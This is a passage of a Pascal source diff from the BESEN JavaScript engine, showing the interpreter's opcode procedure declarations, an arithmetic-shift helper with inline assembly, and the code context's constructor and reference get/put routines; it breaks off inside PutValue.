UseRegister}register;{$endif} + procedure OpOBJECT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpARRAY(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpREGEXP(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGETVALUE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLOOKUP(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTVALUE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpDELETE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpTYPEOF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpTOOBJECT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpTONUMBER(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpTOBOOLEAN(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpTOSTRING(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpTOPRIMITIVE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpNEG(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpINV(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpNOT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpMUL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpDIV(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpMOD(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpADD(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpADDNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSUB(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSHL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSHR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpUSHR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpINSTANCEOF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpIN(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpEQ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSEQ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpBAND(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpBXOR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpBOR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSENUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSWITH(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSCATCH(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpENDF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpJMP(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpJZ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpJNZ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpJNULL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLOOPENUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSTRYC(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSTRYF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLITERAL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLITERALUNDEF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLITERALNULL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLITERALBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLITERALNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLITERALSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLITERALOBJ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpFUNC(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLINE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGC(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSTRICT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSTRICTCHECKREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpDEBUGGER(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpCHECKOBJECTCOERCIBLE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTOBJVALUE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTOBJGET(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTOBJSET(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpINC(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpDEC(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpCOPYBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpCOPYNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpCOPYSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpCOPYOBJ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpCOPYREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpCOPYLOCAL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGETVALUEREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTVALUEREF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGETVALUELOCAL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTVALUELOCAL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGETVALUELOCALFAST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTVALUELOCALFAST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGETVALUELOCALBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTVALUELOCALBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGETVALUELOCALNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTVALUELOCALNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGETVALUELOCALSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTVALUELOCALSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGETVALUELOCALOBJ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTVALUELOCALOBJ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGETVALUELOCALINDEX(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTVALUELOCALINDEX(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGETVALUELOCALINDEXBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTVALUELOCALINDEXBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGETVALUELOCALINDEXNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTVALUELOCALINDEXNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGETVALUELOCALINDEXSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTVALUELOCALINDEXSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGETVALUELOCALINDEXOBJ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpPUTVALUELOCALINDEXOBJ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLOOPINITCOUNT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLOOPADDCOUNT(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpTRACE(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLTBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGTBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLEBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGEBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpEQBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpNEQBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLTNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGTNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLENUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGENUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpEQNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpNEQNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLTSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGTSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLESTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGESTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpEQSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpNEQSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSHLBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSHRBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpBANDBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpBXORBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpBORBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSHLNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSHRNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpUSHRNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpBANDNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpBXORNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpBORNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSETCUNDEF(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSETCNULL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSETCBOOL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSETCNUM(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSETCSTR(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpSETCOBJ(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpTRACENEW(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpTRACECALL(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLTNUMCONST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGTNUMCONST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpLENUMCONST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpGENUMCONST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpEQNUMCONST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpNEQNUMCONST(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpJZERO(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + procedure OpJNZERO(Operands:PBESENINT32Array); {$ifdef UseRegister}register;{$endif} + protected + function ConstructError(ConstructorObject:TBESENObject;const Msg:TBESENString;const Name:TBESENString=''):TBESENValue; + function Trace(const TraceType:TBESENTraceType):boolean; + procedure GetIdentifierReference(Lex:TBESENLexicalEnvironment;const Name:TBESENString;const IsStrict:TBESENBoolean;var AResult:TBESENValue); + procedure GetPrimitive(const ARef:TBESENValue;var AResult:TBESENValue); + procedure GetObject(const ARef:TBESENValue;var AResult:TBESENValue); + procedure GetEnvRec(const ARef:TBESENValue;var AResult:TBESENValue); + procedure GetUndefined(const ARef:TBESENValue;var AResult:TBESENValue); + procedure GetValue(const AValue:TBESENValue;var AResult:TBESENValue); + procedure PutPrimitive(const ARef,AValue:TBESENValue); + procedure PutObject(const ARef,AValue:TBESENValue); + procedure PutEnvRec(const ARef,AValue:TBESENValue); + procedure PutUndefined(const ARef,AValue:TBESENValue); + procedure PutValue(const ARef,AValue:TBESENValue); + function AbstractRelational(eva,evb:PBESENValue;var BoolRes:TBESENBoolean):TBESENBoolean; + function AbstractRelationalNumber(eva,evb:PBESENValue;var BoolRes:TBESENBoolean):TBESENBoolean; + procedure Throw(const ThrowValue:TBESENValue); + function ExecuteByteCode:TBESENBoolean; {$ifdef UseRegister}register;{$endif} + function ExecuteCode:TBESENBoolean; + procedure ExecuteTryBlockLevel; + public + NextCodeContext:TBESENCodeContext; + Code:TBESENCode; + Context:TBESENContext; + RegisterValues:TBESENValues; + PC:TBESENUINT32; + Blocks:TBESENCodeContextBlocks; + Block:PBESENCodeContextBlock; + LoopCounters:TBESENUINT32s; + ParamArgs:TBESENValuePointers; + PropertyEnumerator:TBESENObjectPropertyEnumerator; + EnumBlock:PBESENCodeContextBlock; + Temp,AnotherTemp:TBESENValue; + BlockLevel,NewBlockLevel:integer; + Obj:TBESENObject; + DontEnum,Running,BlockRunning:TBESENBoolean; + Str:TBESENString; + va,vb,vaa,vbb:TBESENValue; + Descriptor,Descriptor2:TBESENObjectPropertyDescriptor; + BaseValue:TBESENValue; + CallThisArg:TBESENValue; + ResultValue:TBESENValue; + constructor Create(AInstance:TObject;ACode:TBESENCode); overload; + destructor Destroy; override; + procedure Execute(const AContext:TBESENContext;var AResult:TBESENValue); + end; + +var BESENCodeContextOpcodes:TBESENCodeContextOpcodePointers; + +function BESENAdjustPolymorphicInlineCachePosition(Position,Index:TBESENUINT32):TBESENUINT32; {$ifdef UseRegister}register;{$endif}{$ifdef caninline}inline;{$endif} + +implementation + +uses BESEN,BESENEnvironmentRecord,BESENHashUtils,BESENUtils,BESENArrayUtils, + BESENObjectEnvironmentRecord,BESENDeclarativeEnvironmentRecord,BESENStringUtils, + BESENGarbageCollector,BESENASTNodes,BESENNumberUtils,BESENOpcodes,BESENErrors, + BESENObjectDeclaredFunction{$ifdef HasJIT}{$ifdef cpu386},BESENCodeJITx86{$endif}{$ifdef cpuamd64},BESENCodeJITx64{$endif}{$endif}; + +function sar(Value,Shift:integer):integer; +{$ifdef PurePascal}{$ifdef caninline}inline;{$endif} +begin +{$ifdef HasSAR} + result:=SARLongint(Value,Shift); +{$else} + Shift:=Shift and 31; + result:=(longword(Value) shr Shift) or (longword(longint(longword(0-longword(longword(Value) shr 31)) and longword(0-longword(ord(Shift<>0))))) shl (32-Shift)); +{$endif} +end; +{$else} +{$ifdef HasSAR} inline; +begin +result:=SARLongint(Value,Shift); +end; +{$else} +{$ifdef cpu386} +{$ifdef fpc} assembler; register; //inline; +asm + mov ecx,edx + sar eax,cl +end;// ['eax','edx','ecx']; +{$else} assembler; register; +asm + mov ecx,edx + sar eax,cl +end; +{$endif} +{$else} +{$ifdef cpuarm} assembler; //inline; +asm + mov r0,r0,asr R1 +end;// ['r0','R1']; +{$else}{$ifdef caninline}inline;{$endif} +begin +{$ifdef HasSAR} + result:=SARLongint(Value,Shift); +{$else} + Shift:=Shift and 31; + result:=(longword(Value) shr Shift) or (longword(longint(longword(0-longword(longword(Value) shr 31)) and longword(0-longword(ord(Shift<>0))))) shl (32-Shift)); +{$endif} +end; +{$endif} +{$endif} +{$endif} +{$endif} + +function BESENAdjustPolymorphicInlineCachePosition(Position,Index:TBESENUINT32):TBESENUINT32; {$ifdef UseRegister}register;{$endif}{$ifdef caninline}inline;{$endif} +begin + result:=((Position shr (Index shl 2)) and $f) or ((Position and ((1 shl (Index shl 2))-1)) shl 4) or ((Position and not ((1 shl ((Index+1) shl 2))-1)) and TBESENUINT32(0-ord(Index<7))); +end; + +constructor TBESENCodeContext.Create(AInstance:TObject;ACode:TBESENCode); +var i:integer; +begin + inherited Create(AInstance); + Context:=nil; + Code:=ACode; + NextCodeContext:=nil; + Blocks:=nil; + Block:=nil; + PropertyEnumerator:=nil; + EnumBlock:=nil; + Temp:=BESENUndefinedValue; + AnotherTemp:=BESENUndefinedValue; + BlockLevel:=0; + NewBlockLevel:=0; + PC:=0; + Running:=true; + BlockRunning:=true; + RegisterValues:=nil; + LoopCounters:=nil; + ParamArgs:=nil; + + Str:=''; + vaa:=BESENUndefinedValue; + vbb:=BESENUndefinedValue; + Descriptor:=BESENUndefinedPropertyDescriptor; + Descriptor2:=BESENUndefinedPropertyDescriptor; + + CallThisArg:=BESENUndefinedValue; + + GetRefProcs[brbvtUNDEFINED]:=GetUndefined; + GetRefProcs[brbvtBOOLEAN]:=GetPrimitive; + GetRefProcs[brbvtNUMBER]:=GetPrimitive; + GetRefProcs[brbvtSTRING]:=GetPrimitive; + GetRefProcs[brbvtOBJECT]:=GetObject; + GetRefProcs[brbvtENVREC]:=GetEnvRec; + + PutRefProcs[brbvtUNDEFINED]:=PutUndefined; + PutRefProcs[brbvtBOOLEAN]:=PutPrimitive; + PutRefProcs[brbvtNUMBER]:=PutPrimitive; + PutRefProcs[brbvtSTRING]:=PutPrimitive; + PutRefProcs[brbvtOBJECT]:=PutObject; + PutRefProcs[brbvtENVREC]:=PutEnvRec; + + SetLength(RegisterValues,Code.MaxRegisters); + if length(RegisterValues)>0 then begin + FillChar(RegisterValues[0],length(RegisterValues)*sizeof(TBESENValue),#0); + end; + + Temp:=BESENEmptyValue; + SetLength(Blocks,Code.MaxBlock+1); + SetLength(LoopCounters,Code.MaxLoop+1); + SetLength(ParamArgs,Code.MaxParamArgs+1); + for i:=0 to length(ParamArgs)-1 do begin + ParamArgs[i]:=nil; + end; + if length(Blocks)>0 then begin + fillchar(Blocks[0],length(Blocks)*sizeof(TBESENCodeContextBlock),#0); + end; +end; + +destructor TBESENCodeContext.Destroy; +var i:integer; +begin + SetLength(RegisterValues,0); + SetLength(LoopCounters,0); + SetLength(ParamArgs,0); + for i:=0 to length(Blocks)-1 do begin + Blocks[i].Ident:=''; + Blocks[i].Value.Str:=''; + Blocks[i].Value.ReferenceBase.Str:=''; + end; + SetLength(Blocks,0); + Str:=''; + inherited Destroy; +end; + +function TBESENCodeContext.ConstructError(ConstructorObject:TBESENObject;const Msg:TBESENString;const Name:TBESENString=''):TBESENValue; +var v:TBESENValue; + vv:array[0..0] of PBESENValue; +begin + v.ValueType:=bvtSTRING; + v.Str:=Msg; + vv[0]:=@v; + ConstructorObject.Construct(BESENUndefinedValue,@vv,1,result); + TBESEN(Instance).GarbageCollector.Add(TBESENObject(result.Obj)); + if length(Name)>0 then begin + TBESENObject(result.Obj).PutEx('name',BESENStringValue(Name),true,Descriptor,Descriptor2,AnotherTemp); + end; +end; + +function TBESENCodeContext.Trace(const TraceType:TBESENTraceType):boolean; +begin + result:=true; + if assigned(TBESEN(Instance).TraceHook) then begin + if not TBESEN(Instance).TraceHook(TBESEN(Instance),Context,Code.Body,PC,TraceType) then begin + Running:=false; + BlockRunning:=false; + result:=false; + end; + end; +end; + +procedure TBESENCodeContext.GetIdentifierReference(Lex:TBESENLexicalEnvironment;const Name:TBESENString;const IsStrict:TBESENBoolean;var AResult:TBESENValue); +var EnvRec:TBESENEnvironmentRecord; +begin + AResult.ValueType:=bvtREFERENCE; + AResult.ReferenceBase.ValueType:=brbvtUNDEFINED; + AResult.Str:=Name; + AResult.ReferenceIsStrict:=IsStrict; + AResult.ReferenceHash:=BESENHashKey(Name); + AResult.ReferenceIndex:=-1; + AResult.ReferenceID:=-1; + while assigned(Lex) do begin + EnvRec:=Lex.EnvironmentRecord; + if assigned(EnvRec) and EnvRec.HasBindingEx(Name,Descriptor) then begin + AResult.ReferenceBase.ValueType:=brbvtENVREC; + AResult.ReferenceBase.EnvRec:=EnvRec; + break; + end; + Lex:=Lex.Outer; + end; +end; + +procedure TBESENCodeContext.GetPrimitive(const ARef:TBESENValue;var AResult:TBESENValue); +var O:TBESENObject; + Hash:TBESENHash; +begin + AResult.ValueType:=bvtUNDEFINED; + BESENReferenceBaseValueToValue(ARef.ReferenceBase,BaseValue); + if BaseValue.ValueType=bvtOBJECT then begin + O:=TBESENObject(BaseValue.Obj); + end else begin + O:=TBESEN(Instance).ToObj(BaseValue); + TBESEN(Instance).GarbageCollector.Add(O); + end; + if not assigned(O) then begin + BESENThrowNotDefined(ARef); + end; + O.GarbageCollectorLock; + try + if ARef.ReferenceID<0 then begin + if ARef.ReferenceIndex<0 then begin + Str:=ARef.Str; + Hash:=ARef.ReferenceHash; + end else begin + Str:=BESENArrayIndexToStr(TBESENUINT32(ARef.ReferenceIndex)); + Hash:=BESENHashKey(Str); + end; + end else begin + Str:=TBESEN(Instance).KeyIDManager.List[ARef.ReferenceID]; + Hash:=BESENHashKey(Str); + end; + if O.GetProperty(Str,Descriptor,Hash) then begin + if Descriptor.Presents<>[] then begin + if ([boppVALUE,boppWRITABLE]*Descriptor.Presents)<>[] then begin + if boppVALUE in Descriptor.Presents then begin + BESENCopyValue(AResult,Descriptor.Value); + end; + end else if ([boppGETTER,boppSETTER]*Descriptor.Presents)<>[] then begin + if (boppGETTER in Descriptor.Presents) and assigned(Descriptor.Getter) then begin + TBESEN(Instance).ObjectCall(TBESENObject(Descriptor.Getter),BaseValue,nil,0,AResult); + end; + end; + end; + end; + finally + O.GarbageCollectorUnlock; + end; +end; + +procedure TBESENCodeContext.GetObject(const ARef:TBESENValue;var AResult:TBESENValue); +begin + if not assigned(ARef.ReferenceBase.Obj) then begin + BESENThrowNotDefined(ARef); + end; + if ARef.ReferenceID<0 then begin + if ARef.ReferenceIndex<0 then begin + TBESENObject(ARef.ReferenceBase.Obj).GetEx(ARef.Str,AResult,Descriptor,TBESENObject(ARef.ReferenceBase.Obj),ARef.ReferenceHash); + end else begin + TBESENObject(ARef.ReferenceBase.Obj).GetArrayIndex(TBESENUINT32(ARef.ReferenceIndex),AResult,TBESENObject(ARef.ReferenceBase.Obj)); + end; + end else begin + TBESENObject(ARef.ReferenceBase.Obj).GetIndex(ARef.ReferenceIndex,ARef.ReferenceID,AResult,TBESENObject(ARef.ReferenceBase.Obj)); + end; +end; + +procedure TBESENCodeContext.GetEnvRec(const ARef:TBESENValue;var AResult:TBESENValue); +begin + if ARef.ReferenceID<0 then begin + if ARef.ReferenceIndex<0 then begin + TBESENEnvironmentRecord(ARef.ReferenceBase.EnvRec).GetBindingValueEx(ARef.Str,ARef.ReferenceIsStrict,AResult,Descriptor,ARef.ReferenceHash); + end else begin + TBESENEnvironmentRecord(ARef.ReferenceBase.EnvRec).GetArrayIndexValue(TBESENUINT32(ARef.ReferenceIndex),ARef.ReferenceIsStrict,AResult); + end; + end else begin + TBESENEnvironmentRecord(ARef.ReferenceBase.EnvRec).GetIndexValue(ARef.ReferenceIndex,ARef.ReferenceID,ARef.ReferenceIsStrict,AResult); + end; +end; + +procedure TBESENCodeContext.GetUndefined(const ARef:TBESENValue;var AResult:TBESENValue); +begin + BESENThrowNotDefined(ARef); +end; + +procedure TBESENCodeContext.GetValue(const AValue:TBESENValue;var AResult:TBESENValue); +begin + case AValue.ValueType of + bvtREFERENCE:begin + GetRefProcs[AValue.ReferenceBase.ValueType](AValue,AResult); + end; + bvtLOCAL:begin + Context.VariableEnvironment.EnvironmentRecord.GetIndexValue(AValue.LocalIndex,-1,TBESEN(Instance).IsStrict,AResult); + end; + else begin + if @AResult<>@AValue then begin + BESENCopyValue(AResult,AValue); + end; + end; + end; +end; + +procedure TBESENCodeContext.PutPrimitive(const ARef,AValue:TBESENValue); +var O:TBESENObject; + ValuePointers:array[0..0] of PBESENValue; + Done:boolean; + Hash:TBESENHash; +begin + BESENReferenceBaseValueToValue(ARef.ReferenceBase,BaseValue); + if BaseValue.ValueType=bvtOBJECT then begin + O:=TBESENObject(BaseValue.Obj); + end else begin + O:=TBESEN(Instance).ToObj(BaseValue); + TBESEN(Instance).GarbageCollector.Add(O); + end; + if not assigned(O) then begin + BESENThrowNotAccessable(ARef); + end; + O.GarbageCollectorLock; + try + if ARef.ReferenceID<0 then begin + if ARef.ReferenceIndex<0 then begin + Str:=ARef.Str; + Hash:=ARef.ReferenceHash; + end else begin + Str:=BESENArrayIndexToStr(TBESENUINT32(ARef.ReferenceIndex)); + Hash:=BESENHashKey(Str); + end; + end else begin + Str:=TBESEN(Instance).KeyIDManager.List[ARef.ReferenceID]; + Hash:=BESENHashKey(Str); + end; + Done:=false; + if not O.CanPut(Str,Descriptor,Descriptor2,Hash) then begin + if ARef.ReferenceIsStrict then begin + BESENThrowNotAccessable(ARef); + end else begin + Done:=true; + end; + end; + if not Done then begin + if ([boppVALUE,boppWRITABLE]*Descriptor2.Presents)<>[] then begin + if ARef.ReferenceIsStrict then begin + BESENThrowNotAccessable(ARef); + end else begin + Done:=true; + end; + end; + if not Done then begin + if ([boppGETTER,boppSETTER]*Descriptor.Presents)<>[] then begin + if (boppSETTER in Descriptor.Presents) and assigned(Descriptor.Setter) then begin + ValuePointers[0]:=@AValue; + TBESEN(Instance).ObjectCall(TBESENObject(Descriptor.Setter),BaseValue,@ValuePointers,1,AnotherTemp); + end else begin + if ARef.ReferenceIsStrict then begin + BESENThrowNotAccessable(ARef); + end; + end; + end else begin + if ARef.ReferenceIsStrict then begin + BESENThrowNotAccessable(ARef); + end; + end; + end; + end; + finally + O.GarbageCollectorUnlock; + end; +end; + +procedure TBESENCodeContext.PutObject(const ARef,AValue:TBESENValue); +begin + if not assigned(ARef.ReferenceBase.Obj) then begin + BESENThrowNotAccessable(ARef); + end; + if ARef.ReferenceID<0 then begin + if ARef.ReferenceIndex<0 then begin + TBESENObject(ARef.ReferenceBase.Obj).PutEx(ARef.Str,AValue,ARef.ReferenceIsStrict,Descriptor,Descriptor2,AnotherTemp,ARef.ReferenceHash); + end else begin + TBESENObject(ARef.ReferenceBase.Obj).PutArrayIndex(TBESENUINT32(ARef.ReferenceIndex),AValue,ARef.ReferenceIsStrict); + end; + end else begin + TBESENObject(ARef.ReferenceBase.Obj).PutIndex(ARef.ReferenceIndex,ARef.ReferenceID,AValue,ARef.ReferenceIsStrict); + end; +end; + +procedure TBESENCodeContext.PutEnvRec(const ARef,AValue:TBESENValue); +begin + if ARef.ReferenceID<0 then begin + if ARef.ReferenceIndex<0 then begin + TBESENEnvironmentRecord(ARef.ReferenceBase.EnvRec).SetMutableBindingEx(ARef.Str,AValue,ARef.ReferenceIsStrict,Descriptor,Descriptor2,AnotherTemp,ARef.ReferenceHash); + end else begin + TBESENEnvironmentRecord(ARef.ReferenceBase.EnvRec).SetArrayIndexValue(TBESENUINT32(ARef.ReferenceIndex),AValue,ARef.ReferenceIsStrict); + end; + end else begin + TBESENEnvironmentRecord(ARef.ReferenceBase.EnvRec).SetIndexValue(ARef.ReferenceIndex,ARef.ReferenceID,AValue,ARef.ReferenceIsStrict); + end; +end; + +procedure TBESENCodeContext.PutUndefined(const ARef,AValue:TBESENValue); +begin + if ARef.ReferenceIsStrict then begin + BESENThrowNotAccessable(ARef); + end else begin + TBESEN(Instance).ObjectGlobal.PutEx(ARef.Str,AValue,false,Descriptor,Descriptor2,AnotherTemp); + end; +end; + +procedure TBESENCodeContext.PutValue(const ARef,AValue:TBESENValue); +begin + if (AValue.ValueType=bvtOBJECT) and assigned(AValue.Obj) then begin + TBESENObject(AValue.Obj).GarbageCollectorWriteBarrier; + end; + case ARef.ValueType of + bvtREFERENCE:begin + PutRefProcs[ARef.ReferenceBase.ValueType](ARef,AValue); + end; + bvtLOCAL:begin + 